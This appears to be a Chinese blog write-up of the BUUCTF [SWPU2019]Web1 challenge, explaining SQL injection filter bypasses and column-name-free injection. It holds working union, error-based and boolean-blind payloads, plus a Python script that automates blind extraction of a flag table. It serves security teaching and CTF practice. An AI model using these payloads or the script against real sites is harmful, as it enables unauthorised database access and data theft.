news 2026/6/22 14:54:11

SQL注入绕过实战:从基础过滤到无列名注入的完整攻防解析

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
SQL注入绕过实战:从基础过滤到无列名注入的完整攻防解析

1. 项目概述与核心挑战

最近在复盘一些经典的CTF题目,特别是Web安全方向的,发现很多朋友对SQL注入的绕过技巧掌握得还不够扎实,往往知道原理,但一到实战就卡壳。今天我们就来深度拆解一道非常经典的题目——BUUCTF平台上的[SWPU2019]Web1。这道题之所以经典,是因为它几乎集合了SQL注入中常见的过滤与绕过场景,从基础的联合查询,到对关键函数、空格的过滤,再到最后的无列名注入,形成了一个完整的、递进式的学习路径。很多人在做到最后一步时,会因为对无列名注入不熟悉而功亏一篑。我自己在第一次做这道题时也踩了不少坑,尤其是在构造最后的布尔盲注Payload时,对IF语句和位运算的结合使用琢磨了很久。通过这道题,你不仅能巩固SQL注入的基础,更能深刻理解“绕过”二字的精髓:安全防护措施和攻击手法总是在动态博弈中不断进化的。

这道题模拟了一个简单的广告发布页面,核心漏洞点在于一个不起眼的广告列表查询功能。题目环境对常见的注入关键词进行了层层过滤,我们的任务就是像“特工”一样,利用各种“工具”和“技巧”,绕过这些安检门,最终拿到藏在数据库深处的flag。整个过程就像在解一个连环锁,每一层过滤都是一把新锁,我们需要找到对应的钥匙(绕过方法)。接下来,我会带你从信息搜集开始,一步步分析过滤规则,并手把手演示如何构造最终的注入Payload,其中会穿插大量我实战中总结的避坑经验和思维过程。

2. 环境初探与信息搜集

面对任何Web题目,第一步永远是信息搜集,盲目测试只会浪费时间。打开题目链接,我们通常会看到一个功能相对简单的页面。对于[SWPU2019]Web1,其主体是一个广告展示页,可能存在搜索、查看详情等交互点。我们的切入点往往在这些与数据库有交互的地方。

2.1 寻找注入点

首先,需要使用浏览器开发者工具(F12)查看网络请求,或者直接观察页面URL和表单。常见的注入点包括:

  • GET参数:如?id=1
  • POST参数:如表单搜索框
  • CookieUser-AgentX-Forwarded-For等HTTP头(较少见,但需有意识)

假设本题的注入点在类似于?id=1的GET参数上。第一步就是验证是否存在注入漏洞。最经典的方法是使用逻辑真值测试。

基础测试:

  1. ?id=1页面正常显示某条广告。
  2. ?id=1 and 1=1如果页面依然正常,说明and=可能未被过滤,且存在注入。
  3. ?id=1 and 1=2如果页面内容消失或报错,则进一步确认存在数字型注入。如果页面无变化,则可能是字符型,需要测试闭合符号:?id=1' and '1'='1?id=1' and '1'='2

注意:在真实CTF或渗透测试中,请务必在授权范围内进行。这里的所有操作均在靶场环境完成。

实操心得:很多新手会忽略这一步,直接上工具或复杂Payload。手动进行基础测试有两个好处:一是建立对目标漏洞的“手感”,二是能最早发现一些基础的过滤规则(比如空格是否被过滤)。我习惯在Burp Suite的Repeater模块里做这些测试,方便观察和对比HTTP响应。

2.2 判断注入类型与初步过滤探测

经过测试,我们可能发现andor空格等关键词被拦截了。页面可能返回统一的错误信息,或者直接空白。这时,我们需要系统地探测过滤规则。

常用探测Payload:

  • ?id=1(基准)
  • ?id=1 and 1=1(测试and和空格)
  • ?id=1 aandnd 1=1(测试是否简单替换and为空)
  • ?id=1%0aand%0a1=1(测试换行符%0a能否替代空格)
  • ?id=1/**/and/**/1=1(测试注释符/**/能否替代空格)
  • ?id=1'(测试单引号闭合与报错)

对于本题[SWPU2019]Web1,经典的特征是:它过滤了空格*=等字符,但andor关键词本身可能没被过滤。这意味着我们不能使用and 1=1这种带有空格和等号的经典判断语句。

绕过思路1:使用注释符代替空格在MySQL中,/**/是内联注释,在大多数情况下可以被当作空格使用。所以1 and 1=1可以尝试写成1/**/and/**/1=1。但如果*也被过滤了,此路不通。

绕过思路2:使用其他空白符代替空格MySQL中,除了空格( ),以下字符通常也能起到分隔作用:

  • 换行符:%0a,%0d
  • 制表符:%09
  • 括号:()有时可以用于包裹

我们可以尝试:?id=1%0aand%0a1%0a=1。但这里又遇到了=被过滤的问题。

绕过思路3:使用likerlikeregexp<>代替=当等号被过滤时,我们可以用其他比较操作符。

  • 1=1可以改写为1 like 1
  • 1=2可以改写为1 like 21<>1(不等于) 因此,测试Payload可以进化為:?id=1%0aand%0a1%0alike%0a1

如果这个Payload返回正常页面,而1 like 2返回异常,那么恭喜,我们不仅确认了注入,还初步找到了绕过空格和等号过滤的方法。

3. 核心过滤规则分析与绕过策略制定

通过初步探测,我们对题目的过滤规则有了模糊的认识。现在需要更系统地进行测试,以绘制出完整的“过滤黑名单”。这一步是后续所有Payload构造的基础,必须严谨。

3.1 系统化测试过滤字符

我们可以设计一个测试脚本,或者手动在Burp Suite的Intruder模块中,对常见SQL注入字符进行fuzz测试。测试列表应包括:

空格, 单引号‘, 双引号“, 逗号,, 等号=, 大于>, 小于<, 括号(), 星号*, 点号., 分号;, 注释符#, --+, /* */, 关键字:union, select, from, where, order by, group by, limit, having, and, or, not, like, rlike, regexp, in, exists, ascii, substr, mid, left, right, length, count, concat, group_concat, sleep, benchmark, if, case when, information_schema

测试方法:将原始参数(如id=1)与测试字符拼接,观察响应是否与基准响应(id=1)有显著差异(如长度不同、包含错误关键词等)。

对于本题,经过测试,我们可能会得出以下结论(这是该题的经典过滤设置):

  1. 空格被过滤:不能使用任何形式的空白字符(包括%0a,%09,%0d等),但可以使用括号()进行局部绕过。
  2. 等号=被过滤:比较操作必须使用likerlikeregexp<>
  3. 星号*被过滤:导致/**/注释符无法使用。
  4. 部分关键词被过滤:如unionselectfromwhere等,但过滤方式可能是大小写敏感或简单匹配,这留给了我们绕过的机会。
  5. information_schema被过滤:这意味着我们无法通过这个系统数据库来获取表名和列名,这是本题最大的难点,将我们引向“无列名注入”。

3.2 针对性绕过技术详解

基于以上规则,我们逐一制定绕过策略。

3.2.1 绕过空格过滤:巧用括号与注释既然所有空白符都被过滤,我们需要寻找不需要空格也能正确解析的SQL语法。

  • 在函数名和参数之间select(1)是合法的,等同于select 1。我们可以利用这一点,将union select 1,2,3尝试改写为union(select(1),2,3)。但注意unionselect本身可能被过滤。
  • 在查询的更多部分from(table_name)也是可行的。关键在于将原本由空格分隔的语法单元,用括号包裹成一个整体或参数列表。

3.2.2 绕过等号过滤:使用like进行布尔判断=用于比较,我们可以用like完全替代。在布尔盲注中,substr(database(),1,1)='a'可以写成substr(database(),1,1)like'a'。注意,like后面紧跟的值如果是字符串,依然需要引号。

3.2.3 绕过关键词过滤:大小写、双写、等价替换

  • 大小写绕过:如果过滤是大小写敏感的(如正则/union/i),则UnIoNUNION可能被拦截,但UnIoN可能绕过简单的str_replace。本题通常过滤了所有大小写变种。
  • 双写绕过:如果过滤是简单的字符串替换(如str_replace('union', '', $input)),那么输入ununionion,经过替换后,中间的union被移除,两边的字符拼起来又形成了union。需要测试unionselect等关键词是否适用此规则。
  • 等价关键词/函数替换
    • mid()可以代替substr()
    • limit 1,1可以用limit 1 offset 1绕过对逗号的过滤(但本题逗号可能可用)。
    • information_schema被禁,我们需要使用mysql.innodb_table_stats等替代方案来猜解表名,或者直接进行无列名注入。

3.2.4 应对information_schema缺失:无列名注入这是本题最核心的考点。通常我们通过information_schema.columns查询列名。当此路不通时,无列名注入就派上用场了。 原理:通过union select将我们可控的数据插入查询结果集,然后通过别名或子查询来访问这些数据。 假设原查询返回3列,我们构造union select 1,2,3,那么结果集中第2、3列的值就是我们可控的23。 更进一步,我们可以:

  1. union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database()),3但这里information_schema被过滤。
  2. 因此,我们需要先通过其他方式(如暴力猜解、错误注入报出表名)知道一个表名(假设为users),然后通过无列名注入获取其数据。 假设我们猜出users表有id,username,password三列。传统方法是union select id,username,password from users。无列名注入则不需要知道列名:
    union select 1,(select `2` from (select 1,2,3 union select * from users)a limit 1,1),3
    解释
    • 子查询(select 1,2,3 union select * from users)a创建了一个临时表a,其第一行是我们定义的1,2,3,后续行是users表的所有内容。
    • 这个临时表a的列名,第一列是1,第二列是2,第三列是3(由我们select 1,2,3定义)。
    • select2from ...就是从临时表a中选取名为2的列(即第二列)的数据。
    • limit 1,1跳过第一行(我们定义的1,2,3),取第二行,即users表的第一行第二列数据。
    • 通过改变limit的参数和选取的列名(`2``3`),我们可以逐行逐列地读出整个users表的数据,而无需知道其原始列名。

4. 完整注入利用链实战拆解

理论清晰后,我们开始实战拼接整个利用链。目标:获取数据库名、表名、列名(或绕过)、最终拿到flag。

4.1 第一步:确认字段数(Order By绕过)

在联合查询注入前,必须知道原查询的字段数。通常使用order by递增数字直到报错。

  • 原始Payload?id=1 order by 1,order by 2,order by 3...

  • 绕过构造orderby可能被过滤,空格和逗号也可能被过滤。

    • 绕过空格:尝试用括号包裹数字order(by(1))?不,order by是一个整体。更常见的做法是直接测试?id=1/**/order/**/by/**/1,但本题空格和*都被过滤。
    • 本题的巧妙解法:由于可以使用union select,我们可以通过不断递增union select后面的字段数来测试,直到页面正常回显。例如:?id=-1 union(select(1),2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22)。 这里将id设为负值或一个不存在的值,使前半部分查询无结果,从而直接显示我们union select的结果。通过观察页面哪个数字被显示出来(比如页面显示了23),我们可以判断字段数,同时找到回显点。

    假设我们测试发现union(select(1),2,3)时,页面正常且数字23的位置显示了内容,而union(select(1),2,3,4)报错,那么字段数就是3,且第2、3列是回显点。

4.2 第二步:获取数据库名与表名(绕过information_schema)

由于information_schema被禁,我们需要另辟蹊径。方法A:暴力猜解表名利用union selectlike进行布尔盲注,猜解表名。这需要编写脚本,但原理简单。 Payload模板:?id=-1 union(select(1),(select(database())),3)可能直接回显数据库名。如果被过滤,则用子查询。 如果database()被过滤,可以尝试:?id=-1 union(select(1,(select(group_concat(table_name))from(mysql.innodb_table_stats)where(database_name)like(database())),3))

注意mysql.innodb_table_stats存储的是InnoDB表的统计信息,并非所有表都会在这里,尤其是题目自定义的非InnoDB表或新建表。因此这个方法不一定奏效。

方法B:利用错误注入报出信息(如果开启错误回显)如果网站开启了SQL错误回显,可以尝试使用updatexml()extractvalue()函数进行报错注入。 Payload模板:?id=1 and updatexml(1,concat(0x7e,(select(database())),0x7e),1)但需要绕过空格和等号:?id=1%0aand%0aupdatexml(1,concat(0x7e,(select(database())),0x7e),1)。如果and和空格被过滤,构造会非常复杂,可能需要用||&&代替and,并用括号调整优先级。

本题的常见情况:经过测试,可能会发现database()可以直接回显,或者通过简单的union select 1,database(),3就能在回显点看到数据库名(例如web1)。同时,通过类似union select 1,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like(database())),3的Payload被拦截,证实了information_schema被过滤。

那么,如何获取表名?可能需要结合布尔盲注已知的替代路径。但更经典的解法是,题目设计者可能留下了一个“提示”表或flag表,其表名可以通过常见字典(如flag, f1ag, secrets, here_is_flag)猜解到。或者,在之前的步骤中,通过错误信息已经泄露了部分表名。

假设我们通过某种方式(如题目描述、其他页面的提示、暴力猜解)知道了存在一个名为flag的表。

4.3 第三步:无列名注入获取Flag内容

现在我们知道数据库名web1,表名flag,但不知道列名,且information_schema不可用。这就是无列名注入的舞台。

4.3.1 构造无列名注入Payload我们的目标是:从flag表中读取数据。假设原查询字段数是3,第2、3列可回显。

  1. 构造基础Payload,探测表内数据?id=-1 union(select(1),(select(group_concat(2))from(select(1),2,3 union(select(*)from(flag))a)),3)拆解

    • union(select(1),(...),3):联合查询,1和3占位,中间部分是我们想要回显的数据。
    • 中间部分:(select(group_concat(2))from(...)a)
    • 子查询:(select(1),2,3 union(select(*)from(flag))a)
      • select(1),2,3:定义一个有3列的临时结果集,列名分别为1,2,3
      • union select(*)from(flag):将flag表的所有行合并到上面。
      • 最终这个子查询结果被命名为别名aa表的结构是:第一列名为1,第二列名为2,第三列名为3
    • 外层select(group_concat(2))from(...)a:从a表中选择所有行的2列(即第二列),并用group_concat合并成一个字符串。
    • limit子句:为了逐行读取,我们可以在外层选择语句后加上limit。例如limit 0,1取第一行,limit 1,1取第二行。

    但是,这个Payload里有几个问题:

    • *可能被过滤。
    • 逗号,可能被过滤(在limitgroup_concat参数中)。

4.3.2 处理逗号过滤如果逗号被过滤,将是雪上加霜。我们需要找到替代方案:

  • limit 0,1可以改写为limit 1 offset 0。这样就用offset关键字替代了逗号。
  • substr(str,1,1)可以改写为substr(str from 1 for 1)。这是substr函数的另一种语法。
  • group_concat(column)无法避免逗号,但如果我们不用group_concat,而是逐位读取,就可以避免。这正是我们接下来要做的布尔盲注。

4.3.3 最终Payload:基于布尔盲注的无列名注入由于直接回显所有数据的Payload可能因为*group_concat被过滤而失败,我们退而求其次,采用布尔盲注,一位一位地猜解flag。 思路:

  1. 猜解flag表第一行第一列数据的第一个字符。
  2. 利用union创建一个临时表a,包含flag表数据。
  3. 通过select1from a limit 1选取第一列数据(因为我们不知道列名,用我们定义的1作为列名)。
  4. 结合substrlike,判断字符。

构造Payload:我们需要判断:flag表第一行第一列的第一个字符是否是'f'(假设flag格式为flag{xxx})。

?id=1 union(select(1),(select(1)from(select(1),2,3 union(select(*)from(flag))a where(substr((select(`1`)from(alias)limit(0)offset(0))from(1)for(1))like('f'))),3)

逐层拆解(从内到外):

  1. 最内层子查询:(select(1),2,3 union select(*)from(flag))a

    • 创建临时表a,列名为1,2,3,数据包含flag表所有行。
    • 如果*被过滤,这里会失败。可能需要明确列数,如select col1,col2,col3 from flag,但我们不知道列名。如果知道列数(例如也是3列),可以尝试select 1,2,3 from flag?这会把flag表每行的所有列都变成1,2,3,丢失数据。此路不通。因此,*必须可用,或者题目设计时flag表只有一列,这样select *就是选择唯一的一列。这是本题的关键简化点:通常flag表只有一个flag列。那么select * from flag就是选择这一列数据。
    • 临时表a只有一列数据(来自flag表),但我们用select(1),2,3定义了3列,所以a表实际上有3列,第一列是flag数据(因为union要求列数一致,flag表的一列数据会对齐到第一列),第二、三列是23。所以flag数据在a表的1列。
  2. 中间层:(select(1)from(a)limit(0)offset(0))

    • a表中选择1列的数据。
    • limit 0 offset 0等价于limit 0,1,取第一行。用offset绕过可能的逗号过滤。
  3. 字符截取:substr((...))from(1)for(1))

    • 截取上面查询结果的第1个字符。
    • 使用substr(str from pos for len)语法绕过逗号。
  4. 布尔判断:... like('f')

    • 判断截取的字符是否像'f'。如果为真,整个where子句成立,那么select(1)from(...)where(...)会返回1
    • 如果为假,where子句不成立,该select查询结果为空。
  5. 外层union selectunion(select(1),(select(1)from(...)where(...)),3)

    • 如果内层where成立,则select(1)返回1,最终页面回显点(第2列)会显示数字1
    • 如果内层where不成立,则select(1)结果为空,最终回显点可能显示为空或其他默认值。
    • 通过观察页面回显点是否有1,即可判断字符猜解是否正确。

简化后的实战Payload(假设flag表仅一列,且列名未知):为了清晰,我们一步步构造,并处理所有过滤:

  • 原查询:?id=1
  • 闭合与联合:?id=-1' union
  • 选择字段:union(select(1),2,3)
  • 嵌入盲注子查询:将2替换为我们的盲注逻辑。 最终,一个测试第一个字符是否为'f'的Payload可能长这样:
?id=-1' union(select(1),(select(1)from(select(1),2,3 union(select(*)from(flag))a where(substr((select(`1`)from(a)limit(1)offset(0))from(1)for(1))like(0x66))),3)--+

解释与技巧

  • -1':使前一个查询无结果,并闭合可能的引号。
  • 0x66:是字符'f'的十六进制,避免使用引号(如果引号也被过滤)。
  • --+:注释掉后续SQL,避免语法错误。
  • 如果页面在回显点2的位置显示了1,说明第一个字符是'f'
  • 然后,我们修改substrfromfor参数,以及like的值,即可逐位猜解出完整的flag。

5. 常见问题、调试技巧与自动化脚本

在实际操作中,你一定会遇到各种意想不到的问题。下面是我在多次实战中总结的排查清单和技巧。

5.1 常见问题排查表

问题现象可能原因排查思路与解决方案
页面返回统一错误页或空白1. 关键词被过滤。
2. 语法错误导致查询失败。
3. 有WAF拦截。
1. 用极简Payload测试(如?id=1?id=1'),确认基础注入点。
2. 逐个添加SQL元素(如and、空格、1=1),定位被过滤点。
3. 尝试使用不同编码、注释符、空白符绕过。
union select后页面无变化,不回显数字1. 字段数不对。
2.unionselect被过滤。
3. 前后查询类型不一致(如字符型 vs 数字型)。
1. 增加union select后的字段数,直到页面再次报错或正常。
2. 测试unionselect的大小写、双写变体。
3. 检查id参数闭合,数字型无需引号,字符型需闭合引号并注释。
无列名注入Payload执行后报错或返回空1. 临时表列名引用错误。
2.limit offset语法错误。
3.*被过滤。
4. 目标表列数与我们定义的(1),2,3列数不一致。
1. 确认flag表列数。可通过order by或递增union select字段数直到与select * from flag匹配。
2. 如果*被过滤,且知道列数(如1列),可尝试select(1)from(flag),但这样数据会变成1。必须用*或真实列名。
3. 仔细检查反引号`的使用,在列名是数字时必须加反引号。
布尔盲注判断不准,页面状态无区别1. 盲注逻辑为假时,子查询返回空,导致外层union select的对应字段为NULL,页面可能显示空白,与显示1有区别。
2. 网站有统一错误处理,真/假都返回相同页面。
1. 使用length()函数判断响应内容长度差异,而不仅仅是看内容。
2. 使用时间盲注if(condition,sleep(5),1),但sleep可能被过滤。
3. 检查where子句逻辑,确保条件为假时子查询确实返回空集。

5.2 手工调试与Burp Suite技巧

  1. 使用Burp Suite的Repeater:这是你的主战场。将测试Payload发送到Repeater,可以方便地修改、重放、对比响应。重点关注响应长度(Length)和响应体中关键位置的内容。
  2. 对比响应:始终有一个“基准响应”(如?id=1)。将注入Payload的响应与基准响应进行差异对比。Burp Suite的Comparer工具非常有用,可以高亮显示HTML内容的差异。
  3. 逐步构造:不要试图一次性写出最终Payload。从最简单的?id=1开始,逐步添加unionselect、括号、子查询等。每加一步,都观察响应是否如预期。如果出错,回退一步,思考原因。
  4. 利用错误信息:如果网站开启了SQL错误回显,充分利用它。错误信息往往会透露数据库结构、过滤规则等关键信息。故意构造错误语法(如不匹配的括号、未知函数)可能诱使数据库报错。

5.3 自动化脚本编写思路

对于布尔盲注,手工一位位猜解是不现实的,必须编写脚本。这里给出一个Python脚本的核心逻辑框架,使用requests库。

import requests import time url = "http://your_target_url/index.php" headers = {"User-Agent": "Mozilla/5.0"} # 假设我们已经知道最终的Payload模板,其中`{pos}`代表字符位置,`{char}`代表猜测的字符 payload_template = "-1' union(select(1),(select(1)from(select(1),2,3 union(select(*)from(flag))a where(substr((select(`1`)from(a)limit(1)offset(0))from({pos})for(1))like({char}))),3)--+" def check(payload): """发送Payload,检查页面中是否包含成功标志(例如回显点有'1')""" params = {'id': payload} try: r = requests.get(url, params=params, headers=headers, timeout=5) # 这里需要根据实际情况确定判断成功的条件 # 例如,如果成功时页面包含特定的字符串或数字 if 'something_that_indicates_true' in r.text: # 替换为实际的成功标识 return True else: return False except Exception as e: print(f"请求失败: {e}") return False def blind_injection(): flag = "" chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789{}_-!" # 可能的字符集 pos = 1 while True: found_char = None for char in chars: # 将字符转换为十六进制,避免引号 hex_char = f"0x{ord(char):02x}" # 构造Payload payload = payload_template.format(pos=pos, char=hex_char) print(f"Testing pos {pos}: char {char} -> {payload[:50]}...") if check(payload): found_char = char flag += char print(f"[+] Found: {flag}") break time.sleep(0.1) # 避免请求过快 if found_char is None: print(f"[-] No char found at position {pos}. Maybe end of flag.") break pos += 1 print(f"[*] Final flag: {flag}") if __name__ == "__main__": blind_injection()

脚本关键点

  • check()函数:这是核心,必须根据题目实际情况编写。成功条件可能是响应中包含数字1,或者响应长度与失败时不同。你需要先手动测试两个Payload(一个为真,一个为假),确定页面差异点,然后让脚本去判断这个差异。
  • payload_template:需要你根据前面分析,构造出最终的、可用的布尔盲注Payload模板。
  • chars:定义flag可能包含的字符集,可以根据常见flag格式调整。
  • 速率控制:time.sleep()避免请求过快被屏蔽。

6. 总结与思维提升

通过这道[SWPU2019]Web1,我们完成了一次完整的、高强度的SQL注入绕过训练。从最初的注入点探测,到层层剥离过滤规则,最后运用无列名注入技术获取flag,每一步都考验着对SQL语法和数据库特性的理解。

这道题给我最深的体会是:绕过没有银弹,核心在于对“规则”的理解和“语法”的灵活运用。防火墙过滤空格,我们就用括号;过滤等号,我们就用like;过滤information_schema,我们就用无列名注入。攻击者的武器库是丰富的,关键在于你是否了解每一件武器的用途。

对于想深入Web安全的朋友,我建议:

  1. 夯实SQL基础:不仅仅是select * from table,更要理解各种连接查询、子查询、联合查询、内置函数的用法和特性。MySQL、PostgreSQL、SQLite的语法差异也要了解。
  2. 建立绕过思维库:将常见的过滤场景(空格、引号、逗号、关键词、注释符)和对应的绕过方法整理成笔记。例如,绕过空格有/**/%0a()+(在某些DBMS中)等多种方式。
  3. 善用工具,但不依赖工具:Sqlmap很强大,但在复杂的过滤环境下往往失灵。手工注入能力能帮你理解原理,调试Payload。两者结合,先用手工理清思路和过滤规则,再用Sqlmap的--tamper脚本尝试自动化。
  4. 关注新型漏洞与技巧:安全领域日新月异,新的数据库特性、框架行为都可能引入新的注入点或绕过方式。多打靶场(如BUUCTF、DVWA、SQLi-Labs),多阅读国内外安全研究文章,保持学习。

最后,在实战中,耐心和细心往往比技术更重要。一个括号的缺失、一个反引号的位置,都可能导致整个Payload失败。就像解这道题一样,静下心来,一步步分析,一层层绕过,最终拿到flag的那一刻,所有的调试和思考都是值得的。

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/6/22 14:53:30

科研效率革命:3步实现PubMed文献批量下载终极指南

科研效率革命&#xff1a;3步实现PubMed文献批量下载终极指南 【免费下载链接】Pubmed-Batch-Download Batch download articles based on PMID (Pubmed ID) 项目地址: https://gitcode.com/gh_mirrors/pu/Pubmed-Batch-Download 还在为手动下载PubMed文献而烦恼吗&…

作者头像 李华
网站建设 2026/6/22 14:48:11

Mermaid Live Editor:零代码创建专业图表的终极在线工具指南

Mermaid Live Editor&#xff1a;零代码创建专业图表的终极在线工具指南 【免费下载链接】mermaid-live-editor Edit, preview and share mermaid charts/diagrams. New implementation of the live editor. 项目地址: https://gitcode.com/GitHub_Trending/me/mermaid-live-…

作者头像 李华
网站建设 2026/6/22 14:44:25

Ubuntu 20.04 + Docker Compose 部署 Laravel 实战指南

1. 项目概述&#xff1a;为什么在 Ubuntu 20.04 上用 Docker Compose 跑 Laravel 不是“炫技”&#xff0c;而是工程刚需你有没有遇到过这样的场景&#xff1a;本地开发环境跑得好好的 Laravel 项目&#xff0c;一到测试服务器就报Class not found&#xff1b;或者同事拉下代码…

作者头像 李华
网站建设 2026/6/22 14:39:38

高性能电机控制实战:基于ARM Cortex-M4 MCU的FOC算法实现与优化

1. 项目概述&#xff1a;为什么需要一颗“肌肉大脑”来驱动电机&#xff1f; 在工业自动化、家电、无人机和新能源汽车这些领域&#xff0c;电机和电源系统就像是整个设备的“心脏”和“肌肉”。要让这颗“心脏”高效、平稳、精准地跳动&#xff0c;传统的简单控制芯片已经力不…

作者头像 李华
网站建设 2026/6/22 14:36:15

Playwright自动化测试:构建有状态可复用的认证页面Fixture

1. 项目概述&#xff1a;为什么我们需要一个“有记忆”的测试夹具&#xff1f;做自动化测试的同行们&#xff0c;尤其是从Selenium转战Playwright的朋友&#xff0c;应该都经历过一个共同的痛点&#xff1a;每次测试用例执行&#xff0c;浏览器都要重新打开、重新登录、重新进入…

作者头像 李华